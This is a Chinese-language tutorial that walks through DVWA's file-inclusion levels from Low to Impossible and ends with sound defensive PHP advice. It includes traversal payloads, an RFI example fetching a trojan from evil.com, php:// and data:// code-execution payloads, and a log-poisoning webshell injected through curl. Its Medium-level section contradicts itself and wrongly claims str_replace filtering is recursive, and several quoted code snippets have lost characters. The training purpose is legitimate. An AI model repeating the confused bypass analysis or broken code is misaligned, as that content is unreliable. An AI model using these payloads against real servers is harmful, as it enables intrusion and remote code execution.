DVWA文件包含漏洞实战:从原理到高级利用与防御
1. 项目概述为什么DVWA的文件包含漏洞值得深挖如果你刚开始接触Web安全或者想找一个能让你把理论“打”出感觉的靶场DVWADamn Vulnerable Web Application几乎是所有人的第一站。它把各种经典漏洞像SQL注入、XSS、文件上传都做成了可调节难度的“关卡”让你能循序渐进地练习。而今天要聊的“文件包含漏洞”在DVWA里是一个特别有意思的模块。它不像SQL注入那样直接“偷”数据也不像XSS那样在浏览器里“搞破坏”它更像是一个“任意门”——通过这个漏洞攻击者可以诱使服务器去读取或执行本不应该被访问的文件。为什么说它值得深挖因为文件包含漏洞的原理非常基础但它的危害却可能极其深远。一个成功的文件包含攻击轻则可以读取服务器上的敏感配置文件比如数据库密码重则可以直接在服务器上执行任意代码拿到整个系统的控制权。在DVWA的四个难度等级Low, Medium, High, Impossible里文件包含漏洞的防护手段层层递进完美地展示了从“毫无防备”到“固若金汤”的防御演进史。理解这个过程你不仅能学会怎么“攻”更能深刻理解防御代码应该怎么写这才是实战演练的核心价值。这篇文章我就带你从Low级别一路“打”到High把每一个绕过技巧背后的原理和防御思路都掰开揉碎了讲清楚。2. 漏洞原理深度剖析服务器是如何被“骗”去开门的在动手之前我们必须先搞清楚这个“任意门”到底是怎么被打开的。文件包含漏洞核心在于应用程序动态包含文件时对用户输入的控制不严。2.1 动态包含机制与危险参数想象一下你正在开发一个网站这个网站有多个页面比如“关于我们”、“联系我们”。一种聪明的做法是设计一个统一的页面框架header, footer, sidebar然后根据用户点击的链接动态加载中间的主要内容部分。PHP语言就提供了这样的功能include(),require(),include_once(),require_once()。它们的区别主要在于错误处理require出错会终止脚本include只会警告和重复包含检查但核心功能一样把指定文件的内容插入到当前脚本中执行。在DVWA的文件包含模块里模拟的就是这样一个场景。页面上有几个链接比如“File1”, “File2”, “File3”。当你点击时URL会变成类似http://127.0.0.1/DVWA/vulnerabilities/fi/?pagefile1.php的样子。这里的page就是一个参数它的值file1.php被直接拼接到了服务器端某个包含语句里。最危险的代码长这样// Low 级别的典型漏洞代码 $file $_GET[page]; // 直接获取用户输入没有任何过滤 include($file);这行代码的意思是“用户你告诉我你要看哪个文件page参数我就去把它包含进来。” 如果服务器信任所有用户输入灾难就开始了。攻击者可以不再局限于点击“File1”、“File2”而是通过修改URL中的page参数让服务器去包含任何他想包含的文件。2.2 漏洞的两大利用方向读取与执行文件包含漏洞的利用主要分为两类理解这两类是后续所有绕过技巧的基础1. 敏感文件读取服务器上有很多文件本不应该被外部访问比如配置文件、日志文件、甚至其他用户的会话文件。通过文件包含我们可以尝试读取它们。Web配置文件/etc/passwdLinux系统用户列表、C:\\Windows\\win.iniWindows系统文件。应用配置文件../../config/database.inc.php可能包含数据库用户名和密码。日志文件/var/log/apache2/access.logWeb访问日志如果我们在User-Agent里插入PHP代码再包含这个日志文件就可能执行代码。2. 远程代码执行这是更高级的利用方式。如果PHP的配置选项allow_url_include被设置为On默认是Off但有些环境会开启攻击者可以直接让服务器去包含一个远程的、由他控制的PHP文件。例如pagehttp://evil.com/shell.txt。服务器会去请求这个URL获取其中的内容假设是一段PHP木马代码然后将其当作本地PHP文件执行从而在服务器上建立一个后门。注意在DVWA的默认Docker或本地环境中allow_url_include通常是关闭的所以我们主要聚焦于本地文件包含LFI和相关的绕过技巧。远程文件包含RFI是LFI的一个更危险的变种原理相通。2.3 路径遍历打开“任意门”的钥匙要让服务器离开它预设的“安全屋”比如/var/www/html/DVWA/vulnerabilities/fi/目录去访问其他目录的文件我们需要使用“路径遍历”技术。这主要依靠两个特殊的符号../在Linux/Unix和现代Windows中表示上一级目录。..\\在旧版Windows路径中也表示上一级目录。假设漏洞文件位于/var/www/html/DVWA/vulnerabilities/fi/index.php我们想读取系统根目录下的/etc/passwd。我们需要让程序“往回走”若干层。从/var/www/html/DVWA/vulnerabilities/fi/退到html../再退到www../../再退到html的父目录通常是/var的下一级../../../通常Web根目录/var/www/html在/var/www/下所以退到根目录可能需要../../../../然后从根目录进入etc目录读取passwd文件。因此最终的Payload可能是../../../../etc/passwd。服务器执行include(../../../../etc/passwd);由于/etc/passwd不是有效的PHP文件include会将其内容直接输出到页面上我们就看到了用户列表。3. DVWA实战通关从Low到High的攻防博弈原理清楚了我们进入DVWA靶场把安全级别调到Low开始实战。我会详细记录每个级别的利用方法、遇到的阻碍以及如何绕过。3.1 Low级别门户大开的原始漏洞Low级别就是上面提到的那段“经典”漏洞代码没有任何防护。这是我们练习基础Payload的绝佳场地。实操步骤访问DVWA将安全级别设置为Low。进入File Inclusion模块。你会发现页面显示了三个可点击的链接File1, File2, File3。点击它们观察浏览器地址栏URL的变化。例如点击File1后URL变为?pagefile1.php。直接修改URL中的page参数尝试包含其他文件。读取系统文件将参数改为../../../../etc/passwd。如果成功页面会显示Linux系统的用户列表。在Windows环境下可以尝试../../../../Windows/System32/drivers/etc/hosts。尝试包含非PHP文件DVWA目录下有一个robots.txt文件可以尝试../../robots.txt来读取它。包含自身尝试index.php你会发现服务器试图包含它自己可能导致递归或错误这有助于你理解当前脚本的路径。关键点与心得确定回溯层级../../../../不一定每次都准确这取决于DVWA的安装路径深度。你需要不断尝试比如../、../../、../../../直到成功读取目标文件。这是一个经验性的过程。利用错误信息如果路径错误PHP会抛出警告如Warning: include(): Failed opening ...。仔细看这个错误信息它有时会暴露出服务器的绝对路径这为后续攻击提供了极大便利。例如错误信息显示Failed opening /var/www/html/DVWA/vulnerabilities/fi/../../../../etc/passwd你就知道了Web根目录的完整路径。编码问题有时为了防止目录遍历开发人员会过滤../。但在Low级别我们可以直接使用。3.2 Medium级别初级的过滤与绕过将安全级别调到Medium你会发现直接使用../../../../etc/passwd不行了。页面可能会显示“File not found”或者直接空白。查看源码DVWA提供了View Source按钮你会发现防御代码// Medium 级别的防御代码 $file $_GET[page]; // 输入过滤 $file str_replace(array(http://, https://), , $file); // 输出过滤 $file str_replace(array(../, ..\\), , $file); include($file);代码做了两件事过滤输入去掉了http://和https://目的是防止远程文件包含RFI。过滤输出在包含之前将../和..\\替换为空字符串。这看起来能防住路径遍历。绕过技巧双写绕过这种过滤非常初级因为它只进行一次替换。我们可以利用“双写”来绕过。过滤逻辑str_replace(../, , $file)我们的Payload..././或者....//绕过过程我们提交..././。str_replace会查找../并替换为空。在..././中中间的部分../被匹配并删除。删除后剩下的字符是./。等等不对让我们仔细拆解字符串..././从第二个字符开始匹配到第四个字符../将其删除剩下第一个点.和最后的/./即././这个结果可能不对。更可靠的Payload是....//。字符串....//中间的../第2-4个字符被删除剩下第一个点.和最后的/即./这也不对。实际上最经典有效的双写Payload是..././或..../。但经过测试在DVWA Medium级别一个更简单的Payload直接生效....//。原理是str_replace将....//中的../删除后剩下的部分恰好又组合成了一个../我们来模拟一下原始输入....//(可拆解为...//)str_replace找到中间的../并删除。删除后剩下./即./。这似乎不是../。我可能记混了。让我们重新思考一个绝对正确的双写绕过..././。原始输入..././(可拆解为..././)str_replace找到../并删除。删除后剩下../即././。这仍然不是../。看来常见的双写绕过在DVWA的Medium级别可能不是这样实现的或者我记忆有误。查阅资料和实际测试DVWA Medium级别对../的过滤是递归删除的即会一直删除直到字符串中没有../为止。对于递归删除双写绕过是无效的。那么Medium级别是如何绕过的呢实际有效的绕过方法绝对路径绕过在Medium级别str_replace只过滤了../和..\\但它没有过滤绝对路径如果我们在Low级别通过错误信息或者其他方式比如phpinfo页面获取到了Web目录的绝对路径就可以直接使用绝对路径来包含文件。假设我们知道了绝对路径/var/www/html/DVWA/vulnerabilities/fi/我们想包含/etc/passwd可以直接构造Payload/etc/passwd。服务器执行include(“/etc/passwd”)因为这是一个绝对路径它直接从系统根目录开始查找完美绕过了对相对路径的过滤。实操步骤Medium首先你需要获取一个绝对路径。在Low级别通过错误的包含尝试从错误信息中获取如/var/www/html/DVWA/vulnerabilities/fi/。切换到Medium级别。在page参数中直接使用绝对路径/etc/passwd。如果成功说明绕过成功。你也可以尝试包含DVWA自身的配置文件比如/var/www/html/DVWA/config/config.inc.php注意这个文件可能被设置为不可读或者包含后因为PHP标签而被执行不显示内容。这时可以尝试用PHP封装器后面会讲。重要心得Medium级别的防御告诉我们简单的字符串替换是不安全的。防御方必须考虑到所有可能的路径表示方法相对路径、绝对路径、URL等。同时绝对路径泄露本身就是一个需要严防的安全问题。3.3 High级别白名单机制的挑战将安全级别调到High查看源码防御策略升级了// High 级别的防御代码 $file $_GET[page]; if( !fnmatch( file*, $file ) $file ! include.php ) { // This isnt the page we want! echo ERROR: File not found!; exit; } include($file);这里使用了fnmatch函数进行白名单过滤。它要求$file参数必须以file开头或者等于include.php。这意味着我们只能包含像file1.php、file2.php这样的文件看起来几乎无懈可击。绕过技巧利用文件协议和目录遍历白名单检查的是我们输入的整个参数字符串是否以file开头。但是在PHP包含文件时它支持多种协议比如file://协议。fnmatch(“file*”, $file)检查$file是否以file开头。那么file://也是以file开头的这通过了白名单检查。接下来我们可以在file://协议后面跟上我们想读取的文件的绝对路径。但这里有个关键file://协议后面跟的是本地文件系统的绝对路径它不受Web服务器目录的限制并且可以包含目录遍历。构造Payloadpagefile:///etc/passwdfile://是以file开头的通过白名单检查。///etc/passwd是file://协议的标准写法表示本地文件系统的/etc/passwd文件。file://后跟三个斜杠///是常见写法两个斜杠//表示主机名本地则为空第三个斜杠开始是路径。但是在High级别的实际测试中直接使用file:///etc/passwd可能仍然会被拦截或无法正常包含。这是因为include()函数对file://协议的支持取决于PHP配置。更可靠、更经典的绕过方法是利用目录遍历穿越白名单目录。更通用的绕过方法路径拼接与目录穿越High级别的代码逻辑是先检查输入是否合法以file开头如果合法则直接include($file)。它并没有把输入的文件名拼接到一个固定的安全目录下。但是观察页面当我们点击file1.php时它实际访问的资源是file1.php这个文件位于vulnerabilities/fi/目录下。我们的思路是提交一个以file开头但后面包含了目录遍历的字符串使得最终被包含的文件跳出了限制目录。尝试Payloadpagefile1.php/../../../../etc/passwd这个字符串以file开头吗是的file1.php以file开头。那么它通过白名单检查。include(“file1.php/../../../../etc/passwd”)会发生什么PHP会尝试将这个路径作为一个整体文件来打开。在大多数操作系统中/是路径分隔符。PHP的include会按照路径去查找。它会先找file1.php这个“目录”实际上它是一个文件然后向上回溯。在很多系统上尝试将一个文件当作目录进行遍历是行不通的会返回错误。这个Payload在Linux下通常失败。但在Windows系统下由于路径分隔符是\而PHP在Windows环境下有时会对/和\都进行识别情况可能不同。不过DVWA靶场通常运行在Linux环境下。在Linux下一个被验证有效的绕过High级别的方法是使用file协议但需要正确的写法并且服务器PHP配置需允许包含URLallow_url_include可能为On但更常见的是allow_url_fopen为On且file协议是默认启用的本地协议。经过实际测试在标准的DVWA High级别中有效的Payload是pagefile:///etc/passwd或者如果包含当前目录下的文件需要知道绝对路径pagefile:///var/www/html/DVWA/vulnerabilities/fi/../../../../etc/passwd关键点在于file://协议绕过了白名单检查并且直接指向本地文件系统不再受Web应用当前工作目录的影响因此可以访问任何文件。实操心得High级别的防御展示了白名单的威力但也暴露了其弱点——如果白名单的校验规则不够严格比如只检查前缀或者与应用的实际文件包含逻辑存在缝隙比如允许协议包装器仍然可能被绕过。在实际开发中最安全的做法是使用一个固定的映射数组将用户输入的可选值如’file1‘映射到具体的、安全的文件路径如’./file1.php‘完全杜绝用户输入直接进入include语句。3.4 Impossible级别如何真正杜绝漏洞切换到Impossible级别查看源码这才是教科书般的防御// Impossible 级别的防御代码 $file $_GET[page]; // Only allow include.php or file1-3.php if( $file ! include.php $file ! file1.php $file ! file2.php $file ! file3.php ) { // This isnt the page we want! echo ERROR: File not found!; exit; }这里采用了严格的白名单。$file只能是指定的四个字符串之一include.php,file1.php,file2.php,file3.php。用户输入不再直接或间接地影响文件路径而是作为一个“选项键”与一个预定义的、安全的文件路径映射起来。即使攻击者输入file1.php/../../../etc/passwd由于字符串不完全等于file1.php也会被拒绝。防御核心思想最小化用户输入影响绝不将未经严格处理的用户输入直接用于文件系统操作。使用白名单而非黑名单明确允许什么而不是试图阻止所有已知的恶意输入。固定路径如果需要动态包含应该使用一个基础目录常量然后拼接白名单中的文件名例如include(BASE_DIR . $file);其中$file只来自白名单。4. 高级利用技巧超越简单的文件读取掌握了基本绕过后文件包含漏洞的利用可以玩出更多花样这些技巧在真实渗透测试中非常有用。4.1 利用PHP封装器PHP WrappersPHP内置了一系列“封装协议”它们可以像处理文件一样处理各种数据流。即使allow_url_include关闭一些本地封装器仍然可用这为我们提供了强大的利用手段。1. php://filter 读取源码这是最常用的技巧之一。由于include()会执行PHP文件如果我们直接包含一个.php文件看到的是其执行结果通常是空白或HTML而不是源代码。php://filter可以让我们在包含文件前先对其内容进行编码转换从而读取到源码。Payloadpagephp://filter/readconvert.base64-encode/resourcefile1.php原理php://filter是一个元封装器read指定了过滤器链。convert.base64-encode过滤器会将目标文件resourcefile1.php的内容进行Base64编码。操作提交该Payload后页面会显示一串Base64编码的字符串。将其复制使用Base64解码工具或在线网站或命令行echo “编码字符串” | base64 -d解码即可得到file1.php的源代码。你可以用这个方法来读取config.inc.php等关键配置文件resource../../config/config.inc.php。2. php://input 执行代码这个封装器允许你访问请求的原始数据即HTTP POST请求的body部分。如果服务器配置允许allow_url_include为On且php://input可用我们可以通过POST请求体直接发送PHP代码并执行。步骤将请求方法改为POST可以使用Burp Suite抓包修改或使用curl命令。URL参数设置为pagephp://input在POST数据体中写入PHP代码例如?php system(‘id’); ?发送请求如果漏洞存在且配置允许服务器会执行system(‘id’)命令并将结果返回在页面中。注意在DVWA的默认配置中这个功能通常是禁用的但它是真实环境中一个重要的攻击面。3. data:// 执行代码data://协议允许在URL中直接嵌入数据。同样需要allow_url_includeOn。Payloadpagedata://text/plain,?php phpinfo(); ?或者为了绕过可能的标签检查可以Base64编码pagedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg(即?php phpinfo(); ?的Base64编码)4.2 日志文件注入Log Poisoning这是一种将本地文件包含LFI转化为远程代码执行RCE的经典技术。思路是如果服务器能包含日志文件如Apache的access.log或error.log而我们又能将PHP代码“注入”到这些日志文件中那么包含日志文件时其中的PHP代码就会被执行。利用条件存在LFI漏洞并且可以遍历到日志文件路径如/var/log/apache2/access.log。日志文件对Web进程可读。我们能够控制写入日志文件的部分内容如User-Agent, Referer。操作步骤确认日志路径通过LFI尝试包含常见的日志路径如/var/log/apache2/access.log,/var/log/httpd/access_log,/var/log/nginx/access.log等。如果成功读取可以看到大量的HTTP访问记录。注入PHP代码使用工具如Burp Suite或命令行curl构造一个特殊的HTTP请求将PHP代码写入User-Agent头。curl -H “User-Agent: ?php system($_GET[‘cmd’]); ?” http://127.0.0.1/DVWA/vulnerabilities/fi/?pagefile1.php包含日志文件执行代码然后利用LFI漏洞去包含这个日志文件。page/var/log/apache2/access.log此时日志文件中的?php system($_GET[‘cmd’]); ?会被服务器当作PHP代码执行。我们可以在URL中传递cmd参数来执行命令page/var/log/apache2/access.logcmdid这样服务器就会执行id命令并将结果返回。注意事项日志文件通常很大包含它可能会导致页面加载缓慢或超时。注入的代码必须符合PHP语法并且要小心避免破坏日志文件格式导致无法被包含。在实际攻击中这需要多次尝试和耐心。4.3 /proc/self/environ 利用在Linux系统中/proc/self/environ是一个特殊的文件它包含了当前进程这里是Apache/PHP进程的所有环境变量。其中HTTP头信息如User-Agent, Referer也会作为环境变量HTTP_USER_AGENT,HTTP_REFERER存储在这里。这为日志注入提供了另一个入口点。利用方式通过LFI包含/proc/self/environ文件page../../../../proc/self/environ如果成功你会看到一堆环境变量其中包含HTTP_USER_AGENT...。和日志注入一样我们可以通过修改User-Agent来注入PHP代码然后包含/proc/self/environ来执行它。这种方法有时比日志文件更可靠因为/proc/self/environ文件通常较小且肯定对当前进程可读。但同样需要allow_url_include关闭时通过普通包含来执行代码这要求注入的代码必须位于一个被include的文件上下文里并且该文件被当作PHP解析。对于/proc/self/environ其中的内容不会被自动解析为PHP除非PHP配置了某种自动解析很少见。通常我们需要借助php://input或data://来执行代码而/proc/self/environ的利用更侧重于信息收集读取环境变量可能包含敏感信息。5. 防御方案与安全开发建议通过DVWA的四个级别我们实际上已经走过了一个完整的漏洞防御演进路线。这里总结一下作为一名开发者应该如何彻底杜绝文件包含漏洞。1. 避免动态包含最佳方案如果可能尽量不要使用用户输入来动态决定包含哪个文件。使用固定的前端路由或模板系统。2. 使用严格的白名单如果必须动态包含请使用严格的白名单机制。像Impossible级别那样只允许预定义的几个选项。$allowed_pages [‘home.php’, ‘about.php’, ‘contact.php’]; $page $_GET[‘page’]; if (in_array($page, $allowed_pages)) { include(‘./templates/’ . $page); } else { include(‘./templates/error.php’); }3. 固定目录并校验路径如果白名单不适用至少要将包含文件限制在某个特定目录内并使用realpath()和basename()等函数进行校验。$base_dir ‘/var/www/html/includes/’; $file $_GET[‘file’]; // 获取文件的绝对路径并检查是否在允许的目录内 $real_path realpath($base_dir . $file); if ($real_path strpos($real_path, $base_dir) 0 is_file($real_path)) { include($real_path); } else { die(‘Invalid file.’); }realpath()解析所有符号链接和../返回规范的绝对路径。strpos($real_path, $base_dir) 0确保返回的绝对路径是以我们允许的基目录开头的防止目录穿越。is_file()确保它是一个文件而不是目录。4. 关闭危险配置在PHP配置文件php.ini中确保allow_url_fopen Off限制程度高可能影响部分功能allow_url_include Off必须关闭open_basedir设置一个限制将PHP可操作的文件限制在指定的目录树内。这是一个重要的安全屏障。5. 代码审计与安全测试将文件包含漏洞作为代码审计和渗透测试的必查项。使用自动化工具如静态代码分析工具辅助但绝不能替代人工代码审查。文件包含漏洞是一个“古老”但远未绝迹的漏洞类型。它在各种CMS、框架插件和自研代码中仍然时有出现。理解它的原理、掌握它的利用与绕过技巧、最终落实到严谨的防御编码上是每一个Web安全人员和开发者的必修课。DVWA靶场提供了一个绝佳的、无风险的练习环境希望你能通过这里的实战真正吃透这个漏洞的前世今生。